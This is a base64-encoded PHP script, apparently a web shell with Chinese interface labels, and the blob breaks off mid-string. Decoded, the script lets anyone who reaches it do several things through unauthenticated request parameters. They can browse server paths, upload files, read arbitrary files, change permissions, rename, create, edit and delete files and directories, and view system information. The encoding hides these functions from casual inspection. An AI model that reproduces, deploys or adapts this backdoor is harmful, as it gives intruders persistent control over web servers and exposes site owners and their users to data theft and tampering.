ZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFND